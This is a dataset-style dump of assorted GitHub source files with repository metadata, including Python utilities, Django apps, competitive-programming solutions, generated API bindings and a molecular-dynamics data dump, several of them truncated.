/usr/lib/python2.7/dist-packages/mercurial/policy.py
4b86ea4606e4f34e163c41ac194c3c5044fda00f
[ "Python-2.0" ]
permissive
sroberti/VREP-Sandbox
4fd6839cd85ac01aa0f2617b5d6e28440451b913
44f7d42494654357b6524aefeb79d7e30599c01d
refs/heads/master
2022-12-24T14:56:10.155484
2019-04-18T15:11:54
2019-04-18T15:11:54
180,481,713
0
1
null
2022-12-14T18:05:19
2019-04-10T02:00:14
C++
UTF-8
Python
false
false
3,923
py
# policy.py - module policy logic for Mercurial. # # Copyright 2015 Gregory Szorc <gregory.szorc@gmail.com> # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. from __future__ import absolute_import import os import sys # Rules for ...
[ "samuel.p.roberti@gmail.com" ]
samuel.p.roberti@gmail.com
f20d1061adfb86339a1be776f31b2f7e5ea39878
4bde2d1e2282014f71b8cfec4440cb062db172cb
/euler_012.py
ff9adebaeda5ac0a7cdbe2e8fa85a527eb185be2
[]
no_license
MrDeshaies/NOT-projecteuler.net
6b107a515b1322fcd5f7d88e187ca2ea97edddcf
c6f0bd38d074b427345b4f5b41733bda38fbcdb4
refs/heads/master
2022-11-17T18:39:43.321814
2022-11-13T11:35:10
2022-11-13T11:35:10
201,793,983
0
0
null
2019-08-18T19:50:45
2019-08-11T17:20:18
Python
UTF-8
Python
false
false
631
py
import math from euler import * # The sequence of triangle numbers is generated by adding the natural numbers. # So the 7th triangle number would be 1 + 2 + 3 + 4 + 5 + 6 + 7 = 28. # The first ten terms would be: 1, 3, 6, 10, 15, 21, 28, 36, 45, 55, ... # What is the value of the first triangle number to have over fi...
[ "benoit.deshaies@gmail.com" ]
benoit.deshaies@gmail.com
d4dd1b49966e8616d758826094255c736e5ef831
77d2afae698c9101f1875c575dbc4b9290e5bbd9
/aspects/scripts/run_aspect_extractor.sh
73b5a5a6a1a736cc96db1f8513fd72b47cbd48c5
[]
no_license
BrainEditor/discourse_summarization
f0d56e1b81357c680920ad3e259e72b6b7581d0a
338dbb948a5cb69d2ecc648852b73ae3697868fd
refs/heads/master
2023-04-09T00:16:49.958399
2021-04-24T20:40:34
2021-04-24T20:40:34
null
0
0
null
null
null
null
UTF-8
Python
false
false
129
sh
#!/bin/python source activate aspect cd ~/github/phd/sentiment-backend/aspects/aspects python neural_aspect_extractor_server.py
[ "luk.augustyniak@gmail.com" ]
luk.augustyniak@gmail.com
7a70ccaf8a3a0e57ca0f1b3e643a59fdbcd664b9
9bb16f8fbf9f562f1171a3bbff8318a47113823b
/abc140/abc140_c/main.py
d3cc1373143ef16b58c74b7fac85566254c3282b
[]
no_license
kyamashiro/atcoder
83ab0a880e014c167b6e9fe9457e6972901353fc
999a7852b70b0a022a4d64ba40d4048ee4cc0c9c
refs/heads/master
2022-06-01T03:01:39.143632
2022-05-22T05:38:42
2022-05-22T05:38:42
464,391,209
1
0
null
null
null
null
UTF-8
Python
false
false
611
py
#!/usr/bin/env python3 # from typing import * # def solve(N: int, B: List[int]) -> int: def solve(N, B): ans = B[0] + B[N - 2] for i in range(N - 2): ans += min(B[i], B[i + 1]) return ans # generated by oj-template v4.8.1 (https://github.com/online-judge-tools/template-generator) def main(): ...
[ "kyamashiro73@gmail.com" ]
kyamashiro73@gmail.com
6b607cbb56976a645a86f02d957b6304c3756d81
e801e30b3cfd118af4d07e18a19be5cbc280750d
/rate/migrations/0001_initial.py
071af9efea3a007a8bdfc13fd4d2e0356ccaeca9
[ "MIT" ]
permissive
rodneyspark/django4
2ddaa53d0268df5ad1614b0c5c0c48ce74aa224f
764d9e6621b93923ac5d970624f69bfae353e722
refs/heads/master
2023-03-28T23:03:32.563179
2021-04-13T09:33:37
2021-04-13T09:33:37
354,021,262
0
0
null
null
null
null
UTF-8
Python
false
false
1,616
py
# Generated by Django 2.2.8 on 2021-01-25 20:34 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] ope...
[ "gakururodney@gmail.com" ]
gakururodney@gmail.com
7f2a74a7a07b350d7d088bca25623c981cf87ba6
a9bf60af19fc7b6e44d49a253d988718f872acb3
/link_checker/views.py
e041ba9cd32a79dc4c0d207e5528f676792df233
[]
no_license
geofferyj/django_crud
65fad685f200e151c241080cff0f946dad64597e
2c7efaec13861777cd7df892061d40c28756e466
refs/heads/master
2023-08-14T18:45:27.034753
2021-07-19T05:50:41
2021-07-19T05:50:41
384,551,986
1
1
null
null
null
null
UTF-8
Python
false
false
892
py
from link_checker.models import LinkModel from django.shortcuts import redirect, render from django.urls import reverse from scrapyd_api import ScrapydAPI scrapy_api = ScrapydAPI('http://localhost:6800') def get_urls(request): if request.method == 'POST': url = request.POST.get('url') task_id = s...
[ "geofferyjoseph1@gmail.com" ]
geofferyjoseph1@gmail.com
05f427a4967b21f4adcc11e5961c9462fe3e81bf
3a0b8643b9156c843b88b43b8630ab0e8e634331
/run.py
eb905be87be4f45aa5fe47ca503c3d18ef754d00
[]
no_license
jmfveneroso/sequence_tagging
643143135c36a2acce8331e69eb492c41d853c56
c87d848497e2e914a7c61eba525f39c8b9891a4a
refs/heads/master
2020-04-11T08:13:39.170501
2019-10-16T20:11:36
2019-10-16T20:11:36
161,636,116
1
0
null
null
null
null
UTF-8
Python
false
false
2,311
py
import matplotlib matplotlib.use('Agg') import numpy as np import matplotlib.pyplot as plt import time import sys import os import tensorflow as tf from optparse import OptionParser from pathlib import Path from model.estimator import Estimator from model.hmm import HiddenMarkov, load_dataset os.environ['TF_CPP_MIN_LO...
[ "jmfveneroso@gmail.com" ]
jmfveneroso@gmail.com
04ff082db7d59b8505cd46db3d06d29cbe35b7b9
f422723785d51520c59f870cac61586a6d729048
/blog/utils.py
ecbffcf316fcd7653c59dc8a50ebe39a1e8a78d7
[]
no_license
romanannaev/StromNetProjectDeal
7a57744e127956fc5d6bb6dffa29749e42fb2cdf
122671bd3c041c4e91b5a53951525f1dc144d96e
refs/heads/master
2022-05-15T06:49:21.810339
2019-12-21T20:20:06
2019-12-21T20:20:06
226,288,194
0
0
null
2022-04-22T22:50:23
2019-12-06T09:05:39
Python
UTF-8
Python
false
false
2,114
py
from django.shortcuts import render from django.shortcuts import redirect from django.shortcuts import get_object_or_404 from .models import * from .forms import * class ObjectDetailMixin: model = None template = None def get(self, request, slug): #post = Post.objects.get(slug__iexact=slug) ...
[ "romanannaev1992@gmail.com" ]
romanannaev1992@gmail.com
f669e9893f5d78269e20ddb785a8941a4984df2f
18a79067223932c2f7aa6ff6b81d0b3f36169db2
/atcoder/abc171/B.py
c0a43afd40b346be6f614510dc89501d1b33a6d3
[]
no_license
aadiupadhyay/CodeForces
894b0e5faef73bfd55a28c2058fb0ca6f43c69f9
76dac4aa29a2ea50a89b3492387febf6515cf43e
refs/heads/master
2023-04-12T17:58:52.733861
2021-05-07T20:08:00
2021-05-11T20:07:11
330,149,645
1
0
null
null
null
null
UTF-8
Python
false
false
92
py
n,k=map(int,input().split()) l=list(map(int,input().split())) l.sort() print(sum(l[:k]))
[ "upadhyay.aaditya2001@gmail.com" ]
upadhyay.aaditya2001@gmail.com
c2ded7c856dcdda7932af1baba7e912b91f48d78
eda6e7b8f399dedcdb960f4b48a2134b978f8d83
/bnpy/datasets/zzz_unsupported/ToyRegression1D.py
38f81d9cac91ddf1de4718417e2648110d0b7c59
[ "BSD-3-Clause" ]
permissive
bnpy/bnpy
8ed61bc4fe2f0ed99e0254c11a21c27c0cee59b2
ffc2242427451aa6a61dcac1473c47577a5ade6f
refs/heads/master
2023-08-16T06:49:58.716279
2022-10-15T15:59:12
2022-10-15T15:59:12
75,731,181
197
54
NOASSERTION
2023-07-21T20:59:10
2016-12-06T12:56:07
Python
UTF-8
Python
false
false
1,818
py
''' ToyRegression1D Synthetic problem where both X and Y are 1D variables We'll walk down the real line assigning a unit interval to every cluster In that interval, we'll generate data from the appropriate linear section of a sawtooth wave ''' import numpy as np import bnpy from matplotlib import pylab; DEFAULT_SEE...
[ "mike@michaelchughes.com" ]
mike@michaelchughes.com
f81f4e795bf35e5bfe8f6cee6e4f3a9fecd2d768
6ca9a7ed179ed96857c86dd91d5f81ad07be4690
/KnowledgeMapping/GUI/wxpythonExp/project1/count.py
c84ac5e57747024d58005d966ef1e831427fa266
[ "MIT" ]
permissive
nickliqian/keep_learning
ede172048cb1473013aa506a943ebe0c7c416065
be120ce2bb94a8e8395630218985f5e51ae087d9
refs/heads/master
2021-04-25T18:23:47.808870
2020-07-31T09:52:20
2020-07-31T09:52:20
108,302,688
8
3
null
null
null
null
UTF-8
Python
false
false
2,367
py
import wx # import the newly created GUI file import demo1 import os, shutil def resizeBitmap(image, width=100, height=100): bmp = image.Scale(160, 80).ConvertToBitmap() return bmp class CalcFrame(demo1.Frame): def __init__(self, parent): demo1.Frame.__init__(self, parent) ...
[ "nickliqian@outlook.com" ]
nickliqian@outlook.com
85114fcd28962ff586bf985125fa1d5cdc9528ff
63ae3faa596333fa89ed6059332ed956b6dd3ae1
/career/models/account.py
d69564bda10feb51f2f77acd46a64952341a0627
[]
no_license
wyzane/tornado-skill-general
28470d786dc949a2616143b0b35e593d90f2fdc4
915ec990a20b2bb76d56c040cade57a7627d0ebe
refs/heads/master
2020-06-13T13:43:02.401369
2019-07-28T08:20:17
2019-07-28T08:20:17
194,675,732
0
0
null
2019-07-28T08:20:18
2019-07-01T13:14:11
Python
UTF-8
Python
false
false
108
py
from config.db import model TB_CAREER_USER = model("career_user") TB_CAREER_TOKEN = model("career_token")
[ "wyzane1207@163.com" ]
wyzane1207@163.com
e2e404d1ab7f3d07cd75bd47901834db0e555d6b
c934e7c27f0e72385218a14b4e2a7e94a747a360
/google-cloud-sdk/lib/googlecloudsdk/third_party/apis/kubernetesedge/v1alpha1/kubernetesedge_v1alpha1_messages.py
c64bf9abd3ecda3bc41d4c00e1a26c268fc21729
[ "LicenseRef-scancode-unknown-license-reference", "Apache-2.0" ]
permissive
PrateekKhatri/gcloud_cli
5f74b97494df4f61816026af9460b9c4d8e89431
849d09dd7863efecbdf4072a504e1554e119f6ae
refs/heads/master
2023-03-27T05:53:53.796695
2021-03-10T04:08:14
2021-03-10T04:08:14
null
0
0
null
null
null
null
UTF-8
Python
false
false
61,349
py
"""Generated message classes for kubernetesedge version v1alpha1. """ # NOTE: This file is autogenerated and should not be edited by hand. from __future__ import absolute_import from apitools.base.protorpclite import messages as _messages from apitools.base.py import encoding from apitools.base.py import extra_types...
[ "actions@github.com" ]
actions@github.com
03b6bf5004a13d00ec1f310bfc5dd692d9ac528f
649bd422025e421d86025743eac324c9b882a2e8
/exam/1_three-dimensional_atomic_system/dump/phasetrans/temp181_7500.py
62e30b4a2bcf0782cc61b06d00671e4db9cf7b4d
[]
no_license
scheuclu/atom_class
36ddee1f6a5995872e858add151c5942c109847c
0c9a8c63d9b38898c1869fe8983126cef17662cd
refs/heads/master
2021-01-21T10:52:28.448221
2017-03-07T23:04:41
2017-03-07T23:04:41
83,489,471
0
0
null
null
null
null
UTF-8
Python
false
false
68,829
py
ITEM: TIMESTEP 7500 ITEM: NUMBER OF ATOMS 2048 ITEM: BOX BOUNDS pp pp pp -1.6039436196308461e+02 2.0759436196312893e+02 -1.6039436196308461e+02 2.0759436196312893e+02 -1.6039436196308461e+02 2.0759436196312893e+02 ITEM: ATOMS id type xs ys zs 1870 1 0.195558 0.243664 0.00257487 1846 1 0.367088 0.472525 0.279422 1159 1 ...
[ "scheuclu@gmail.com" ]
scheuclu@gmail.com
5a85463dfff2ebb2778c50ff78931a5f677ab151
e9f2d427b3c74c68b97321768e7d03949e7de62a
/codeforces/20.01.05.B.py
95bbefe8e673de455c96992a0317ce31b3d6fa5c
[]
no_license
mark-ni/competitive-programming
ab84f0af5831b76bdb7f36c3ddd6f89b4be34fee
efe74f111f71a2a1293a46f65a5eef1298046c1a
refs/heads/master
2023-03-20T00:02:32.030442
2021-03-09T01:09:59
2021-03-09T01:09:59
345,829,800
1
0
null
null
null
null
UTF-8
Python
false
false
645
py
from sys import stdin input = stdin.readline n,k=map(int,input().split(' ')) st = [[]]*n for i in range(n): st[i] = list(input()) tot = 0 diff = True for a in range(n): for b in range(a+1,n): for c in range(b+1,n): for d in range(k): truths = 0 if st[a][d] ==...
[ "markni10423@gmail.com" ]
markni10423@gmail.com
b4682fac0710d8a4468db8e5abbaef6cd80115e2
045cb1a5638c3575296f83471758dc09a8065725
/addons/hr_timesheet/models/hr_employee.py
9791c5912e011bd77e161bc255108ff407b5803b
[]
no_license
marionumza/saas
7236842b0db98d1a0d0c3c88df32d268509629cb
148dd95d991a348ebbaff9396759a7dd1fe6e101
refs/heads/main
2023-03-27T14:08:57.121601
2021-03-20T07:59:08
2021-03-20T07:59:08
null
0
0
null
null
null
null
UTF-8
Python
false
false
431
py
# -*- coding: utf-8 -*- # Part of Harpiya. See LICENSE file for full copyright and licensing details. from harpiya import fields, models class HrEmployee(models.Model): _inherit = 'hr.employee' timesheet_cost = fields.Monetary('Timesheet Cost', currency_field='currency_id', groups="hr.group_hr_user", d...
[ "yasir@harpiya.com" ]
yasir@harpiya.com
d7dec4d2b9574f81f68990fd969fc96ecd499f9d
c2a4676ff3ed11f7532f11dd84902035c433f842
/tests/test_domain_identity_provider.py
c454d10a31e4b6f56a8cb942ead068447ee41629
[ "Apache-2.0" ]
permissive
basschipper/cfn-ses-provider
bf0747042bf4d11ecd2e80f2cd1d379a46658111
1d0bcb2336d5f326fad845d057c7d15bc93dbb16
refs/heads/master
2021-06-28T09:07:03.187137
2020-08-25T11:09:28
2020-08-25T11:09:28
156,202,687
0
0
Apache-2.0
2018-11-05T10:52:23
2018-11-05T10:52:22
null
UTF-8
Python
false
false
3,466
py
import uuid from ses import handler def check_verification_response(name, region, response: dict): assert response.get("PhysicalResourceId") == f"{name.rstrip('.')}@{region}" data = response.get("Data", {}) token = data.get("VerificationToken") assert token assert data.get("Domain") == name.rstri...
[ "mark.van.holsteijn@gmail.com" ]
mark.van.holsteijn@gmail.com
47854699a1f5de58c5f23f26ca5d83867f23fcf9
ba694353a3cb1cfd02a6773b40f693386d0dba39
/sdk/python/pulumi_google_native/analyticshub/v1/data_exchange_iam_member.py
f167de1aea84c85dd552c260a1ad77f6cd055caa
[ "BSD-3-Clause", "Apache-2.0" ]
permissive
pulumi/pulumi-google-native
cc57af8bd3d1d6b76f1f48333ed1f1b31d56f92b
124d255e5b7f5440d1ef63c9a71e4cc1d661cd10
refs/heads/master
2023-08-25T00:18:00.300230
2023-07-20T04:25:48
2023-07-20T04:25:48
323,680,373
69
16
Apache-2.0
2023-09-13T00:28:04
2020-12-22T16:39:01
Python
UTF-8
Python
false
false
13,135
py
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import copy import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from ... import _u...
[ "noreply@github.com" ]
pulumi.noreply@github.com
6979cfa945765584bb6f6b5e331ef0b102576803
7dd0c3eb0b1c4b6eea10c6902d2a84e1551bed9c
/mainapp/views.py
4f41f84417e5956b4c3b73032bb36279941f05ab
[]
no_license
subhendudash02/DRF-template
84eb298ae9e52f0a593b890f6d451df4e8f84749
99f14207a3606c4a84cf1ba9a3ca58943117150c
refs/heads/master
2023-08-29T09:10:04.742563
2020-09-02T16:36:51
2020-09-02T16:36:51
null
0
0
null
null
null
null
UTF-8
Python
false
false
818
py
from rest_framework import viewsets from .models import Post, Comment from .serializers import PostSerializer, CommentSerializer from django_filters import rest_framework as filters class PostFilter(filters.FilterSet): search = filters.NumberFilter(field_name="title", lookup_expr='in') class Meta: mo...
[ "vighneshss@gmail.com" ]
vighneshss@gmail.com
acbccbaaf27f8fb112b43c1afeedada8a5e2285a
265e9c51da355620be1cd0c9d08b04fccf2d694b
/src/obfuscapk/obfuscators/reorder/__init__.py
2f5902aea040db70a1da627260bdaa6699a8ab3c
[ "MIT" ]
permissive
ClaudiuGeorgiu/Obfuscapk
bc45f735c868db039b37e1a9f5c1e236ce6aced3
adb6e6462546f37407236b887549fa835ef1c115
refs/heads/master
2023-08-17T21:27:36.579324
2023-01-25T10:06:02
2023-01-25T10:06:02
202,535,048
998
267
MIT
2023-08-28T09:46:39
2019-08-15T12:13:29
Python
UTF-8
Python
false
false
53
py
#!/usr/bin/env python3 from .reorder import Reorder
[ "gabriel@claudiugeorgiu.com" ]
gabriel@claudiugeorgiu.com
bb6cff54ee94238c148baac4b9547da86b422786
2b7152394cabe02f37003a2b0bdcee733a4c236f
/每日任务/爬虫的自我修养/gui的最终选择 tkinter/颜色选择器.py
965e9f11842f0ce3633da3e939d08be0c4779963
[]
no_license
ChangRui-Yao/pygame
6593d7c574064efccb218363f2aa22111a369009
8cd6def0eb667e5a187d863ccc696def7faa44dc
refs/heads/master
2022-03-27T12:31:22.327711
2019-12-23T16:50:42
2019-12-23T16:50:42
null
0
0
null
null
null
null
UTF-8
Python
false
false
329
py
from tkinter import * import tkinter.messagebox from tkinter import colorchooser root = Tk() def show(): fileName = colorchooser.askcolor() print(fileName) #-----筛选打开文件的格式 print(fileName) Button(root,text="选择颜色",command=show).pack() mainloop()
[ "1520288462@qq.com" ]
1520288462@qq.com
753da2219100120d1984db86887628509c8d2f79
9743d5fd24822f79c156ad112229e25adb9ed6f6
/xai/brain/wordbase/nouns/_progressed.py
4bc326c9d3d5974425db176cbb8885652d5f3190
[ "MIT" ]
permissive
cash2one/xai
de7adad1758f50dd6786bf0111e71a903f039b64
e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6
refs/heads/master
2021-01-19T12:33:54.964379
2017-01-28T02:00:50
2017-01-28T02:00:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
254
py
from xai.brain.wordbase.nouns._progress import _PROGRESS #calss header class _PROGRESSED(_PROGRESS, ): def __init__(self,): _PROGRESS.__init__(self) self.name = "PROGRESSED" self.specie = 'nouns' self.basic = "progress" self.jsondata = {}
[ "xingwang1991@gmail.com" ]
xingwang1991@gmail.com
f0f1942414ec0c41f2684884e265ec9c10aebeca
d7016f69993570a1c55974582cda899ff70907ec
/sdk/redisenterprise/azure-mgmt-redisenterprise/generated_samples/redis_enterprise_list.py
e86632971095a65a185a0ec1bc2ae913c07dde69
[ "MIT", "LicenseRef-scancode-generic-cla", "LGPL-2.1-or-later" ]
permissive
kurtzeborn/azure-sdk-for-python
51ca636ad26ca51bc0c9e6865332781787e6f882
b23e71b289c71f179b9cf9b8c75b1922833a542a
refs/heads/main
2023-03-21T14:19:50.299852
2023-02-15T13:30:47
2023-02-15T13:30:47
157,927,277
0
0
MIT
2022-07-19T08:05:23
2018-11-16T22:15:30
Python
UTF-8
Python
false
false
1,508
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may ...
[ "noreply@github.com" ]
kurtzeborn.noreply@github.com
c9d76262ea6e06703b6f86c30f89c5f909f1cdb3
87b83399f25785c3c2326296d41ac7a8a4059199
/hyperparameter_hunter/utils/file_utils.py
1b9d794e55c8886eab4277d9a40c962507c8157e
[ "MIT" ]
permissive
ssh-shashi/hyperparameter_hunter
b065a9af7e323bafce899e61789d9e2e2054f514
12fcbbd4ed71447f80e41f3538be824126b3e209
refs/heads/master
2023-03-17T07:37:49.354509
2018-08-27T03:53:47
2018-08-27T03:53:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,450
py
################################################## # Import Miscellaneous Assets ################################################## import numpy as np import os import os.path import pickle import simplejson as json import sys ################################################## # JSON File Functions ##################...
[ "hunter@mcgushion.com" ]
hunter@mcgushion.com
c27c26e299a32584eed2d7f485532149518c0e0b
02e23da0431623db86c8138bda350a1d526d4185
/Archivos Python Documentos/Cifrados/Python Prueba/Cifrado_RSA/gen_llaves/generador.py
26a4cf1510bb39533498f89a153e0719fe227cce
[]
no_license
Jaamunozr/Archivos-python
d9996d3d10ff8429cd1b4c2b396016a3a5482889
1f0af9ba08f12ac27e111fcceed49bbcf3b39657
refs/heads/master
2022-08-05T14:49:45.178561
2022-07-13T13:44:39
2022-07-13T13:44:39
244,073,267
0
0
null
null
null
null
UTF-8
Python
false
false
504
py
from Crypto.PublicKey import RSA #Creamos la llave de 2048 (16, 24 o 32bits) llave = RSA.generate(2048) #----------------------------------------------- #Generamos un archivo y escribimos f = open("llaveprivada.pem", "wb") #.PEM es un archivo certificado de correo mejorado f.write(llave.exportKey('PEM')) f.close #----...
[ "jaamunozr@gmail.com" ]
jaamunozr@gmail.com
5c00d7d5c55dc6d31f18e8986bfa171e245e4cb9
2c266e67190f97955aa8f30ad376e3415018a3e9
/DatasetValidationTool/test/DatasetValidationTool_Tree_cfg.py
064a0607d8e76574aa5eabe717df0912ec428426
[]
no_license
saumyaphor4252/DatasetValidationTool
b374531daa27b616406e7fd3b0046975ec57aa8a
eb9f9577dddf704ad23f8f5c63ee4221ec649d12
refs/heads/master
2023-04-06T04:47:41.870209
2021-04-21T15:30:50
2021-04-21T15:30:50
305,291,365
0
0
null
null
null
null
UTF-8
Python
false
false
4,835
py
import FWCore.ParameterSet.Config as cms import os import sys #arglist = sys.argv #filename = arglist[2] #filename='CDC2018Av1.txt' #basename = os.path.splitext(filename)[0] process = cms.Process("Demo") process.load("FWCore.MessageService.MessageLogger_cfi") process.load('Configuration.StandardSequences.MagneticFie...
[ "saumya.phor4252@gmail.com" ]
saumya.phor4252@gmail.com
1328bf8ccc87e400a0b471901bd9207534f595a4
79833816cd5f43984b0095409dcb26228834e57e
/0519/workshop/crud/accounts/forms.py
4c5ac683f571c5a4435f6202f1804b434e96b8c6
[]
no_license
first0506/Django_practice
886ea0cce40281f8a95225535f03c7fbe225a0eb
fad13567547cbe34c0adb1d8bf8e987c74c38bbc
refs/heads/master
2022-09-06T15:57:52.775309
2020-06-02T11:29:52
2020-06-02T11:29:52
268,782,492
0
0
null
null
null
null
UTF-8
Python
false
false
294
py
from django.contrib.auth import get_user_model from django.contrib.auth.forms import UserChangeForm, UserCreationForm class CustomUserCreationForm(UserCreationForm): class Meta(UserCreationForm.Meta): model = get_user_model() fields = UserCreationForm.Meta.fields
[ "first0506@naver.com" ]
first0506@naver.com
a952370f5f1dda8cc06011f3b5ad900fb44d15fa
53fab060fa262e5d5026e0807d93c75fb81e67b9
/backup/user_362/ch32_2019_06_06_22_27_25_579685.py
888a52a54183a47d1268758340f7a5cb5a741cca
[]
no_license
gabriellaec/desoft-analise-exercicios
b77c6999424c5ce7e44086a12589a0ad43d6adca
01940ab0897aa6005764fc220b900e4d6161d36b
refs/heads/main
2023-01-31T17:19:42.050628
2020-12-16T05:21:31
2020-12-16T05:21:31
306,735,108
0
0
null
null
null
null
UTF-8
Python
false
false
172
py
duvida=input("Tem duvida? ") duvida= True while duvida != "não": print ("Pratique mais") duvida=input("Tem duvida? ") duvida=False: print ("Até a proxima")
[ "you@example.com" ]
you@example.com
58343d3e663c2a2a3e3cf47d78199d51b59c05da
be5d853783fab4162981c460c35856bf44bf2148
/mayan/apps/storage/tests/literals.py
d9e736efcc14d722cd9eaf49d2ac0e1b364cc12f
[ "Apache-2.0" ]
permissive
Hita-K/Mayan-EDMS
50900189cf504807aa6e41d72fd8e4fc50d5d5b3
a5b691b28f765d9eea7bf6b2016657c943fbbe4a
refs/heads/master
2023-08-29T08:20:58.859259
2021-11-08T04:40:39
2021-11-08T04:40:39
295,247,959
0
0
NOASSERTION
2021-11-08T04:40:40
2020-09-13T22:21:57
Python
UTF-8
Python
false
false
58
py
TEST_CONTENT = 'testcontent' TEST_FILE_NAME = 'test_file'
[ "roberto.rosario@mayan-edms.com" ]
roberto.rosario@mayan-edms.com
288f9e58e87fefd66d7af5e79e79bb6ba6e2768f
6496d7ab505ab1df594d373c0c58206d580302f6
/listas8.py
91f7d18b4f4bb374b31f8e59943544837b66c194
[]
no_license
alicesilva/P1-Python-Problemas
7050f323a073ff51c51cd94d451bddfac71bf30b
eade521a3c7f740bb901a6714385d91356a37835
refs/heads/master
2020-03-09T21:04:32.211493
2018-08-25T19:50:53
2018-08-25T19:50:53
129,000,364
0
0
null
null
null
null
UTF-8
Python
false
false
329
py
#coding: utf-8 i = 0 idades = [] alturas = [] for i in range(5): i += 1 print "Pessoa %d:" %i idade = int(raw_input()) altura = float(raw_input()) idades.append(idade) alturas.append(altura) for i in range(len(idades)): print idades[(len(idades)-1-i)] for i in range(len(alturas)): print alturas[(len(alturas)...
[ "alice.silva@ccc.ufcg.edu.br" ]
alice.silva@ccc.ufcg.edu.br
520b0152cab8588e766a4e70b469428dc6dd24ee
eb23d4678d52eb4bf1419d70bc31e4543c39a011
/Event Oriented/TrajReader.py
d567e307b7ebf6d4710f9955939492b7334691f6
[]
no_license
caitlyncaggia/atlanta-traffic-sim
eb5b87f3ae0c1154561c981b0a662687da2d5bbf
02922c296b870939825fe281d4e4e290c4e328db
refs/heads/master
2023-01-30T15:14:31.784638
2020-12-12T07:31:11
2020-12-12T07:31:11
320,767,523
0
0
null
null
null
null
UTF-8
Python
false
false
619
py
from numpy import genfromtxt import numpy as np # import pyglet... # get data from CSV file my_data = genfromtxt('NGSIM-Data/trajectories.csv', delimiter=',') ts = 1 # Timestep (seconds) # print(my_data) a = np.shape(my_data) lenDat = a[0] print(a) # Sort data by order of 0th column sorted = my_data[my_data[:, 0].a...
[ "github-noreply@oit.gatech.edu" ]
github-noreply@oit.gatech.edu
c222a548848a4be2a48374a0b7736163ca175621
0be13b38970c376054d7994603528a134d774be9
/qanta/util/io.py
61ef2ab5e6b86e352cc8ea5062132100c8b10dd7
[ "MIT" ]
permissive
hpduong/qb
bf14267433eb3b5bf1f2166e5ff3e15071d1e866
dd3b78dc5d0843203e9b93a1094d882e2565e64d
refs/heads/master
2020-12-31T01:35:50.971058
2016-08-26T01:38:12
2016-08-26T01:38:12
null
0
0
null
null
null
null
UTF-8
Python
false
false
287
py
import os import subprocess def safe_open(path, mode): os.makedirs(os.path.dirname(path), exist_ok=True) return open(path, mode=mode) def call(args): return subprocess.run(args, check=True) def shell(command): return subprocess.run(command, check=True, shell=True)
[ "ski.rodriguez@gmail.com" ]
ski.rodriguez@gmail.com